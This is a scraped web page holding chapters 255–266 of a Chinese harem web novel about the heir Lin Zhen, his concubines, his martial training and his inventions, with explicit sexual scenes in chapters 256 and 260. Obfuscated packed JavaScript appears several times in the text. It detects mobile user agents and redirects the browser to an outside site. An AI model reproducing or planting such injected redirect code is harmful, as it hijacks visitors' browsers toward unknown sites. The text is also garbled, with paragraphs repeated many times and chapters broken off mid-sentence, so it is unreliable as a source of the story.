“六个。” “六个!?”林臻懵了“他们都在哪?” “属下也不知道只是偶然听他提起过。” “他身边还有其他亲戚吗?” 二狗仔细想了想:“他有个师兄,是喇嘛庙的清远大师。 “师兄.林臻琢磨着这句话的含金量,喃喃道:“也就是说他还有师父?这是什么门派? “煊赫门。 噗. 这名听得耳熟啊。 好像抽过呢? “这个门派有什么奇怪的地方吗? “这属下就不知道了,只知道他们都是煊赫门的弟子。 “行,你回去吧,好好休息,别想太多。林臻拍了拍二狗的肩膀,又给这小子感动得一塌糊涂。 转身刚要走,突然想起什么,问道。 “世子,您不是说要交给属下一个重要任务吗? “对! “什么任务!! “养来福。 “啊? 来福是什么鬼? 不会是唐*那种招人讨厌的恶犬吧? 林臻看他吃惊,笑着说道:“别那么惊讶,来福与我有过命的交情,是我兄弟,你只要把它伺候好,算你大功一件! “这属下领命。 林臻怀揣着心事回到卧房,却见浣碧已经将床榻铺好,桌子边还作者月妩和张俪。 原来她们俩早就回来了,一直在这里等着。 “夫君! 两女齐齐站起身行礼,林臻走过来一人赏赐一个拥抱。 “怎么样?最近家里的生意还好? “好!好得很呢~张俪抿着嘴笑道:“赌王已经选出来了,就是常来的福贵,周边的商铺已经全部交接,正在按照您的计划改造,夫君,一路累了吧,快喝口水。 言罢,身旁的月妩及时把茶水递上来,林臻在四位大美女的拥簇下美美地喝了口茶,然后挥挥手。 “都快坐下,这回没有外人,我们好好聊聊。 月妩笑道:“妾身也正有此意! 晴雯撇了撇嘴,做得离月妩远些:“你还和夫君一个想法了,什么档次! 月妩被说得低下头不敢反驳。 现在晴雯就是家里的大姐大,仗着有孕在身,谁都不敢惹。 以前大管家林臻对这些丫鬟、小厮有绝对的话语权。现在他见到晴雯都得首先行礼,生怕慢了一步又挨批评。 他都如此,更别说一向有点怕晴雯的月妩了。 张俪笑着推了推浣碧:“妹妹,你怎么不坐呀? “不,你们坐吧,我站着就好。 “都是自己人,何必见 外呢,快坐下吧,一会儿世子生气可是要惩罚你的哦!”张俪表情坏坏的,眼睛瞟向她裙摆,其中的深意不言而喻。 浣碧的脸蛋顺便变得又红又热,连手都不知道该往哪里放,最后被张俪硬压着坐下。 坐下后没几秒,又站起来,手忙脚乱地给众人倒酒。 她还是觉得自己坐着不合适。 林臻赶紧把她拉到自己身后,将她的双手搭在自己肩膀上握住,轻轻拍了拍,一边享受着美人的注视一边讲述自己被天道掳走后发生的事情。 关于天道十二仙、四女战一虎、来福,到后来林臻亲自守城,受伤不退。 听得四女内心波澜起伏,紧张不已,浣碧甚至已经开始偷偷流眼泪。 她是真心疼林臻。 说来说去,见气氛有些凝重,林臻便换了个话题。 “罢了,不说这些了。我要告诉你们一个消息,王爷说等他回来会让我和上官婉儿结婚。” 说意外倒也不意外,因为这个消息众女早就知道了,但谁都很默契地没有提起。 在她们看来,不论她们当中的任何人都没有资格做林臻的正妻,所以这一天是迟早的事情。 但是哪个女人又不希望成为林臻的正牌妻子呢? 一时间,众女都心事重重地低下头,唯有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晴雯把色子丢给浣碧,后者扭捏着不愿意,但还是被晴雯强拉硬拽丢了出去。 没想到结果居然和她一样! “啊?你也是六点?” 张俪看到这个结果干脆不参与了,站起来对林臻盈盈一拜:“既然浣碧妹妹六点,那妾身就不参与了,这就回去休息。” 月妩也站起来:“世子,妾身也回去了。” 两女一同走出屋外。 其实她们哪里是不想参与? 独守空房这么久,都想霸占林臻好好的诉说下思念之情。 但是她们心里都知道,这几个人中,浣碧是最爱林臻的,以至于没有了他的消息后这妮子竟然要寻思。 现在她又先摇出六点,这还有什么好抢的? 反正世子就在这,今天不行就明白,没关系。 见两女都走了,晴雯还坐在原位,林臻笑着说:“小晴雯,你还不走吗?” “我为什么要走呀?我可是摇出六点!” “那你和浣碧重新摇。” “我不!我今天就要旁观!”晴雯站起来抓住浣碧的衣服使劲地撕扯,“死妮子,把衣服脱下来!我今天好好给你上上政治课!” “哎呀晴雯,你别闹!羞死人啦!” “脱掉!” 第256章 小绿茶亲自授课 浣碧的脸都快滴出血来了,在昏暗的烛火下显得犹为动人。 她哪里肯从了晴雯?死死拽着自己的裙摆不松手,连连向林臻求教。 “世子!世子救我呀!” “今天就是天王老子也救不了你!”晴雯像个大流氓,一会儿掐她的软肉,一会儿撕扯她的衣服。只可惜她力气小些,只能将衣领扯到肩膀,露出她精致的锁骨。 浣碧赶紧拉起衣服,不料裙摆下面又被晴雯撩开,露出里面极其好看的美腿。 林臻对此不管不问,一边喝茶一边看着她们俩玩闹。 或许只有他自己知道晴雯为什么会这样做吧。 浣碧眼见撕扯不过就跑到林臻身后,拿他当挡箭牌。 晴雯可不管那些,直接坐在林臻腿上,瞬间出手又抓住她的衣服。 “哎呀晴雯,你到底要干什么呀!” “陪我一起伺候世子!” “我们三个人,那怎么能行!羞死人啦!” “谁让你也摇六点了?不行也得行!否则我今天非把你扒光不可!” 林臻正襟危坐,可以感受到晴雯不断地擦蹭自己。 回想起前些天刘妙颜也是这个姿势,但那时候人为刀俎,我为鱼肉,他没什么反抗的机会。 现在嘛. 妙哉妙哉。 浣碧见晴雯来真的,说什么也不肯从命,双手死死护住要害,小脸气得像个包子:“晴雯!你再这样我真的要生气了!” “哼,不这样也行,但是你必须好好伺候夫君!” “我一直都好好伺候啊。” “你那叫伺候吗?过来,跟我学。”晴雯滑下去,跪在林臻面前,小手十分熟练的将其掏出,檀口轻启。 这.这不合适吧? 晴雯像个老师似的,动作十分规范的演示几遍,随后对浣碧挤眉瞪眼。 “要这样才行!” 浣碧看的大羞:“啊!我不!” “不?那可就别怪我了哦~”晴雯又要起身去挠她的痒痒, “哎呀别别别!我服了还不行吗?” 林臻闻言眼睛一亮。 “真的?” “我妾身不太会,只能试试看。” “好啊,试试就试试!” 浣碧扭扭捏捏地来到林臻面前跪下,十分难为情地看了眼晴雯。 后者说道:“你看我干什么呀?” “怎么办嘛” “哎呀笨死了,平时看你挺聪明的,怎么现在这 么笨?我教你.跟我学,把嘴张大,啊!!” “诶~对对对,夫君您看浣碧学得多快呀!” “别跟死鱼似的,出点动静,口水流下来最好!” “把灵苗吐出来!” 林臻幸福地闭上眼睛。 晚间浣碧还是没能逃掉晴雯的亲自指挥与教学,最后三人大被同眠睡到天亮。 早上起来,林臻没有去上朝,也没有晨练,而是穿着亵裤,赤着上身在院子里扎马步。 他下定决心,一定要好好学武功。 即便不能成为高手,也要有一点自保能力,否则再被天道的人掳走一次,自己肯定gameover了。 马步这东西谁扎谁知道,在没有任何基础的情况下能标标准准的坚持一分钟就算身体素质好的。 林臻咬紧牙关,头顶冒汗,两条腿像水蚂蚱似的抖个不停,心里默念一百个数,最后噗通一声坐在地上。 “呼,呼。” “看来这武功没那么好学啊。” 虽然很累,但是林臻很开心。 于是爬起来开始原地做高抬腿,做完以后又围着院子跑了一圈,跑回来趴在地上做了三十个俯卧撑,三十个仰卧起坐。 当然,十个一组,分三组。 一口气三十他目前还做不下来。 浣碧趁林臻跑步的空挡走了出去,回来时已经手捧早饭。 “世子!可以吃饭了!” “好!” 林臻答应一声回到自己的房间。 王府的饭菜依旧是那么简单,小米粥,馒头,咸菜,还有豆腐。 豆腐可是好东西,又能补蛋白质又能补钙,比喝蛋白粉要强得多。 林臻突然发现早上活动活动之后胃口会变得极好,一个人吃了两个馒头两碗小米粥,大呼满足。 “世子可吃饱了?” 没有吩咐浣碧从来不坐下与林臻一起吃饭,见他把碗放下立刻低下身用手绢给他擦拭嘴角。 林臻把牙缝里的米粒嘬下来,笑得很幸福。 生活本就应该是这个样子的,就像梭罗先生说过的话:顺其自然地过日子是十分安宁的,不应该背上懒惰的骂名。 浣碧想怎么做就怎么做,这是她的习惯,也是她的喜欢,林臻完全没必要去更改。 改了,反而令她不喜。 吃完饭林臻回到卧房,却见晴雯露着白白的屁屁,骑着被子睡得香甜。 年轻人嘛,觉多,林臻也不打算叫她起来。 府里不缺这一个丫鬟,规矩里也不缺她这一个另类。 林臻坐在梳妆台前面,浣碧很自然地拿起木梳给他梳头发。 “世子,您的头发真是越来越好了呢。” “是么。” 林臻现在对自己这一头乌黑浓密的长发很满意,总是习惯性地用手去撩,放在鼻尖上闻闻。 不像后世的自己,三十岁出现M形发际线,手一摸全都是头油。 “世子,您今天是不是该去西苑看看了?” 西苑就是上官婉儿他们暂时居住的地方。 “嗯,出于礼仪也得去看看。” “那妾身给您打扮得好看些吧!这样才不会失了礼数!” 言罢浣碧将林臻的头发盘起,束在头顶上,然后稳稳地扣上一个紫金发冠。 知道世子不爱擦粉,她便没有去拿胭脂,而是从衣柜里拿出厚重华美的礼服,一件件给林臻上身。 不需几分钟的时间,一个英俊潇洒风流倜傥的俊美郎便出现在眼前。 “浣碧!你忘了给世子挂玉佩!”晴雯睡梦中眯着眼睛,慵懒地提醒道。 “瞧我这记性!”浣碧连忙敲了下自己的小脑袋,又从柜子里取出一个木盒,里面装的是各种各样的玉佩挂件,挑选一个最大的拿出来,挂在林臻腰间。 “好啦!这样就可以啦!” “行,那我去了。” 林臻捏了捏浣碧的小脸,转身走出卧房。 这时候,晴雯突然坐起来,眼神不善地盯着浣碧。 “不行!浣碧,我们必须得团结起来,不能给上官家可乘之机!” 浣碧在梳妆台收拾东西,头也不回地说道:“什么可乘之机啊?” “你傻呀!这上官家的以后肯定是夫君正房!我们若不团结一致,还不被她欺负死!” “晴雯,你都是要当母亲的人了,谁敢欺负你?你还是好好养胎吧,别惹世子生气。” “你这丫头怎么就不明白呢!算了,我晚上去找张俪,她肯定一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是的小姐,世子并没有多说什么。” “嗯,如此便好,我还真怕他与那些纨绔子弟一样不守规矩。” 丫鬟走过来倒茶,递到上官婉儿面前。 “但是小姐,您这样拒绝世子,会不会惹他不高兴啊?” “他私下来见我本就是坏了规矩的,我拒绝他乃是正理。” “可是,他毕竟是刚刚大胜而归的风云人物,而且奴婢最近听到些不好的风声.” “什么风声?” “他昨天回城的时候,全城的百姓都对他高呼万岁呢!” “什么?”上官婉儿明显愣神,随即身形有些恍惚地靠在椅背上,“坏了,我们这是进贼窝了呀。” “这也是奴婢担心的地方,一旦皇帝开始对王府动手,我们恐怕也难逃厄运呀!” “唉。”上官婉儿幽幽地叹了口气,放下书卷,端起茶盏轻轻拨弄里面漂浮的茶叶,“罢了。嫁鸡随鸡,嫁狗随狗。管他林家如何,我陪着便是。” “可是.” “没有什么可是,自从我步入大乾的地界,我就已经是林家的人了。那时候我就已经做好准备,不管他林臻是好是孬,是傻子还是瘸子,我都是他的夫人。” “可是小姐,您这正房夫人的身份还没定下来呢!而且我听说,上一任正房夫人就是林臻鸩杀的!” 上官婉儿拿着茶盏的手一抖,神情有些落寞。 “那我也认了。” 第257章 芦德豪真得杨梅大疮了 林臻不知道上官婉儿打着什么主意,只当他是深受传统思想毒害的可怜人吧。 毕竟她爷爷就是当代首屈一指的大儒,父亲也是朝中重臣。 在这样的环境教育下,很难出现行为大胆,不拘一格的女子。 那如果自己偷偷去看会怎么样呢 林臻暗暗打着坏主意,毕竟他实在是太好奇了。 万一上官婉儿不如其名,而是个丑八怪的话,林臻情愿去东北戍边,再也不回来。 心里琢磨着计划,脚步来到研究院门口。 虽然可以在家休息,但也不能完全放松,还是得找点事情做。 人不能闲着,就像林臻以前认识的一位好朋友。 这哥们家里是拆迁户,直接在某个一线城市拆了一栋楼,他又是家里的长子,所以分到三十套房。 他父亲担心他有钱后不上班,玩物丧志,所以就经常教育他,做人不能闲着。 于是他想了个主意,三十套房,每天只收一套房的房租,这样的话就每天都有事情干了。 得着这个月三十一天,他还能休一天。 那天早上吃早点的时候,林臻被他雷得不行。 而对于现在的林臻而言,他收不到房租,所以搞发明就是为数不多可以干的事情。 上次做出来的蒸馏酒让棋牌佛喝了一碗,也不知道这家伙死没死,反正是挺长时间都没有他的消息了。 离开的这段时间,酒依旧在酒缸里陈酿着,没有蒸馏,所以林臻打算蒸馏出来一碗尝尝看。 刚刚蒸馏出来的酒不能直接喝,还得经过过滤和提纯,否则醛类物质超标会把人眼睛喝瞎。 棋牌佛瞎没瞎林臻不知道,但看他那百毒不侵的样子应该不会。 按照流程继续蒸馏一遍,得出来一碗的高度酒,随即又把酒倒入器皿中加工过滤,最终只得到一小碗。 即便是一小碗,闻起来也十分香溢,只是林臻不敢喝,还得找个人试试毒才行。 浣碧走了进来,看到林臻在忙碌便笑道:“嘻嘻,就知道世子在这里!” “怎么?找为夫有事?” “没有呀,但是世子一个人在这,总是需要个打打手、跑跑腿的嘛。” “嗯,说的也是,你去把我之前画的图纸都拿过来。” “是!” 浣碧答应一声,很快便把图纸都抱了过来。 这里面有林臻之前画的各种图形与资料,都是为未来工业发展做准备的。 以前 没时间,现在好不容易腾出空,得尽量落实。 武清县那边已经画出工业区的范围了,但一直都没有产业落地,这让林臻很是苦恼。 蒸馏酒就放在桌子上,浣碧闻到酒香,又好奇地低下身去在碗边使劲吸了一口。 “嘶,哇,世子!这个酒好香呀!是您之前做出来的蒸馏酒吗? “对。 “但这个怎么看着和之前不一样,酒浆好像更加浓郁了呢。 “因为我又经过了两遍过滤,怎么?你想尝一口?林臻的表情明显带着几分不怀好意,浣碧连连摇头,“不!妾身不会喝酒的。 “一点也不会? “别说一点,妾身刚刚只是闻了闻酒香就快要醉倒了。 这小妮子。 林臻笑着摸了摸她的头:“你去叫人把喊胖子、德豪喊过来。 “是! 浣碧又欢快的跑出去,林臻则是开始琢磨水泥的问题。 想制作水泥就得有石灰石、黏土和校正原料。 黏土倒是不担心,武清就可以直接开采;石灰石更是常见的矿产资源,远了不说,礼部尚书罗文家在昌黎县就有自己的石灰石矿。 虽然产量不高,但以目前的工业水平足以应付。 只是他们开采出来的石灰石都是搅碎后当建筑材料卖的,百姓家腻个墙缝,盖个房子,都要用到石粉,也就是我们常说的生石灰。 但他们根本不知道水泥是什么,更不知道混凝土是什么。 以前林臻还想着要不要找罗文家去买,现在想想他敢在蛐蛐自己,那就别怪我报复。 你家的石灰石矿,是我的了。 除此以外,石灰石矿很常见,不算稀有矿产,武清附近也可以选地址开挖,方便快捷。 以后昌黎和武清,就作为大乾两个产水泥的重镇也不错。 有了水泥就可以大面积盖混凝土房屋了,包括固化城池,修缮防御设施等等,也能增加一部分就业。 大乾的人口太多了,农民能分到的土地又很少,很多庄稼人都是一家留两个人种地即可,其余全部进城打工,可问题是这年头没有那么多的就业岗位,大部分人进城后是赚不到钱,反而要挨饿的。 自从林臻推出车马行以后,情况还稍微好些,起码解决了三百人。 但三百人够干什么的?还是得扩充就业岗位才行。 林臻思来想后,还是觉得造个黄包车出来吧。 以前不想造是因为林臻想靠马 车行来赚钱不想让黄包车冲击了马车的盈利效果。 就像某些城市总有那些成群结队的出租车司机把共享单车扔进河里一样这是竞争。 但现在林臻已经不缺钱了正所谓穷生奸计富长良心。在不缺钱赚的情况下给百姓创造一点福利给民生增加一些就业倒也不错。 黄包车很好设计而且现在也不讲究舒适性只要能代步即可所以轮胎是不需要的木头轮子压马路颠颠簸簸别有一番风味。 之所以不造自行车是因为没办法解决齿轮与车链尤其是车链是个非常精细的部件以现在的工业水平想造出来难如登天。 林臻在书房内写写画画很快一个黄包车的图案便跃然纸上。 时间匆匆而过不觉已经是下午胖子与芦德豪神情萎靡地走进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大哥!”芦德豪像壮士出征似的,双手端起酒碗:“弟弟这辈子也没帮过你什么,现在临死前有这么个机会,你就成全我吧!” “我” 这话说得让人没法拒绝啊! “兄弟.” “大哥!我这就走了!!”芦德豪眼一闭,心一横,脖子一扬,就把酒喝了下去。 胖子像神经病似的瞪着眼睛大喊。 “德豪!!人民群众会记住你的牺牲,你的美名将永远活着我们每个人的心中!永远!!!” “诶诶诶?怎么都喝了啊?” 第259章 咋滴啦世子?你要造反呐? 晚饭时,张俪和月妩、晴雯三女一同回来,加上浣碧和林臻,五个人坐在书房里吃了顿还不错的晚餐。 浣碧还是习惯站在林臻身后为他夹菜、擦嘴,等林臻吃得差不多她才肯坐下。 结果每次她吃的都是凉饭,但这小妮子却乐此不疲,从不抱怨。 晚饭时,张俪和月妩、晴雯三女一同回来,加上浣碧和林臻,五个人坐在书房里吃了顿还不错的晚餐。 浣碧还是习惯站在林臻身后为他夹菜、擦嘴,等林臻吃得差不多她才肯坐下。 结果每次她吃的都是凉饭,但这小妮子却乐此不疲,从不抱怨。 晚饭时,张俪和月妩、晴雯三女一同回来,加上浣碧和林臻,五个人坐在书房里吃了顿还不错的晚餐。 浣碧还是习惯站在林臻身后为他夹菜、擦嘴,等林臻吃得差不多她才肯坐下。 结果每次她吃的都是凉饭,但这小妮子却乐此不疲,从不抱怨。 晚饭时,张俪和月妩、晴雯三女一同回来,加上浣碧和林臻,五个人坐在书房里吃了顿还不错的晚餐。 浣碧还是习惯站在林臻身后为他夹菜、擦嘴,等林臻吃得差不多她才肯坐下。 结果每次她吃的都是凉饭,但这小妮子却乐此不疲,从不抱怨。 晚饭时,张俪和月妩、晴雯三女一同回来,加上浣碧和林臻,五个人坐在书房里吃了顿还不错的晚餐。 浣碧还是习惯站在林臻身后为他夹菜、擦嘴,等林臻吃得差不多她才肯坐下。 结果每次她吃的都是凉饭,但这小妮子却乐此不疲,从不抱怨。 晚饭时,张俪和月妩、晴雯三女一同回来,加上浣碧和林臻,五个人坐在书房里吃了顿还不错的晚餐。 浣碧还是习惯站在林臻身后为他夹菜、擦嘴,等林臻吃得差不多她才肯坐下。 结果每次她吃的都是凉饭,但这小妮子却乐此不疲,从不抱怨。 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“妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916447|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 第260章 这玩意这么刺激吗? “夫君.月妩恨不得把头埋进胸口里,脸蛋更是红得要滴出血来。 在众女当中,她的年龄是最大的,但同时也是最害羞的,就连浣碧都比她不及,往往张丽与晴雯的某个小玩笑,都会让她脸红一整天。 林臻很难想象当日她是怎么把“妾身愿以身相许这样大尺度的话说出口的。 可见那需要极大的勇气。 林臻会因为得到这样的女人为荣,因为她真的在为自己付出。 爱人的手永远是那么温暖,在这秋日的萧风中,林臻牵着月妩的手漫步在偌大的王府内院里。 之前林臻很想把内院拾掇拾掇,好歹把已经干涸的忠义湖清理清理,重新蓄水,再把回廊重新粉刷一遍,买上三五千名丫鬟搭理,从此过上纯粹的地主老财的生活。 但现实不允许啊,如果不布局不努力,这次的乾楚大战,林家必定会万劫不复。 幸好,林臻将一切安排妥当,这才能继续享受这份幸福。 众女都回去了,晴雯再不愿意也被张丽拉走,空荡荡的王府内院只有侯春、曹雄等几个护卫远远地跟在后面,其余暗中的护卫不计其数。 “梦极这次表现不错,阵前斩将有功,又有守城胜利的殊荣,听闻祖父已经将他调到最前线了,想来后面还会有功劳可得。等回京,必定一飞冲天。 “妾身多谢夫君。月妩乖巧得都不知道应该说些什么才好,她不像其他几女,总会有各种各样奇奇怪怪的要求。 林臻突然发现,她好像除了要求嫁给自己之外,什么都没有要求过。 她不要求,林臻也就没主动给。 难道这就是传说中的直男?不懂一丁点情绪价值? “酒楼那边都好吗? “还是和以前一样。 “嗯,我本意是想把你的酒楼拆掉,谁知你偏偏喜欢那里,也罢。说着话,林臻突然松开月妩的手,搂住她的纤腰将她带进怀里。 月妩略微有些惊慌,但是却并没有闪躲,只是那双好看的大眼睛扑闪着,羞涩中带着几分灵动。 “妩儿,抬起头来,看着为父。月妩缓缓抬起头,然而就在这瞬间,林臻吻了下去。 嘤咛 月妩闭上眼睛,浑身僵硬,手更是不敢乱动。 林臻却毫不客气,安禄山之爪在她身上肆意游走,没两下月妩便控制不住的开始气喘吁吁,小鹿乱撞。 真是久违的感觉啊。 远处的侯春曹雄等人都是赶紧回过头,不敢有 丝毫窥探之心。 曹雄蹲在地上直砸吧嘴:“猴子,世子就这么着急?连回屋都等不及了?” “你懂什么?世子就喜欢打野战。” “啊?这玩意这么刺激吗?” “我不知道,但听世子的声音应该是挺带劲的。” “声音?什么声音?”曹雄下意识地想回头,却被侯春按住了脑袋。 “别看!想死你啊?” “哦对对对,但是我怎么没听见声音呢?” 话音刚落,就听见林臻那边有叫喊传来。 “夫君!!” “嘶,宝贝,站高一点!” “呜呜呜” 曹雄顿时露出猥琐的表情:“嘿嘿嘿,还是世子会玩。” 结束之后林臻亲自把月妩抱回到自己的卧房里,舒舒服服睡了个囫囵个地觉,第二天早早醒来,开始在院子里扎马步。 任何事情都在于持之以恒,练武更是如此。 林臻底子很差,这辈子除了走火入魔否则没有成为高手的可能。即便如此,林臻还是要坚持下去,哪怕只能强身健体也是好的。 但是经过昨天的训练,晚上的炮火,腿部乳酸堆积很快,今天的马步扎得尤为痛苦。 俯卧撑、仰卧起坐更是阵阵刺痛,林臻咬牙坚持过后已经是满头大汗。 这时,月妩穿戴整齐走了出来。 见林臻累得气喘吁吁,当即问道:“夫君,您这是做什么呢?” “哦,强身健体,你要去酒楼了吗?” “是,妾身每天都去酒楼吃早餐的。” “那好,带上护卫就出发吧,现在不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916447|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 侯玲吓得又往哥哥身后藏了藏,更是哭得连眼睛都看不见了。 “呜呜呜” “妹妹别哭,哥给你做主!大不了回头向世子亲自请罪!” 第263章 顾家死灰复燃,还要造反! 想了半天林臻还是放弃了把她们挨个干一遍的打算。 自己女人还伺候不过来呢,绝不能让她们尝到一点甜头。 天道,这个暗地里的组织,一日不除,林臻一日不消停。 想了半天林臻还是放弃了把她们挨个干一遍的打算。 自己女人还伺候不过来呢,绝不能让她们尝到一点甜头。 天道,这个暗地里的组织,一日不除,林臻一日不消停。 想了半天林臻还是放弃了把她们挨个干一遍的打算。 自己女人还伺候不过来呢,绝不能让她们尝到一点甜头。 天道,这个暗地里的组织,一日不除,林臻一日不消停。 想了半天林臻还是放弃了把她们挨个干一遍的打算。 自己女人还伺候不过来呢,绝不能让她们尝到一点甜头。 天道,这个暗地里的组织,一日不除,林臻一日不消停。 想了半天林臻还是放弃了把她们挨个干一遍的打算。 自己女人还伺候不过来呢,绝不能让她们尝到一点甜头。 天道,这个暗地里的组织,一日不除,林臻一日不消停。 想了半天林臻还是放弃了把她们挨个干一遍的打算。 自己女人还伺候不过来呢,绝不能让她们尝到一点甜头。 天道,这个暗地里的组织,一日不除,林臻一日不消停。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三位老将军以前都是林震仙的手下,现在也是大乾勋贵中的风云人物,坚定的林家铁杆。 林臻在书房一直等到晚上,结果没等来胖子,反而等来了三位国公。 一个是芦德豪的父亲,勋国公芦步亭;胡国公杨建昌,以及尚国公窦明。 三位老将军以前都是林震仙的手下,现在也是大乾勋贵中的风云人物,坚定的林家铁杆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932795|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林臻在书房一直等到晚上,结果没等来胖子,反而等来了三位国公。 一个是芦德豪的父亲,勋国公芦步亭;胡国公杨建昌,以及尚国公窦明。 三位老将军以前都是林震仙的手下,现在也是大乾勋贵中的风云人物,坚定的林家铁杆。 林臻在书房一直等到晚上,结果没等来胖子,反而等来了三位国公。 一个是芦德豪的父亲,勋国公芦步亭;胡国公杨建昌,以及尚国公窦明。 三位老将军以前都是林震仙的手下,现在也是大乾勋贵中的风云人物,坚定的林家铁杆。 林臻在书房一直等到晚上,结果没等来胖子,反而等来了三位国公。 一个是芦德豪的父亲,勋国公芦步亭;胡国公杨建昌,以及尚国公窦明。 三位老将军以前都是林震仙的手下,现在也是大乾勋贵中的风云人物,坚定的林家铁杆。 第266章 本国风气不好 林臻大声咆哮吼的三位老家伙莫名其妙更是不敢言语。 要说以前的林臻只是个纨绔他们而已随便拿捏的话;现在的林臻就是只恶魔一个杀过人上过战场的血手人屠。 别忘了拜火教那几千人还在河间郡城门口当人彘呢。 “世子话也不能这么说吧百姓家和咱们家那能一样嘛?”杨建昌抿了抿嘴也不知道鼓起多大勇气才说的这句话。 林臻听后更是气得不成样子。 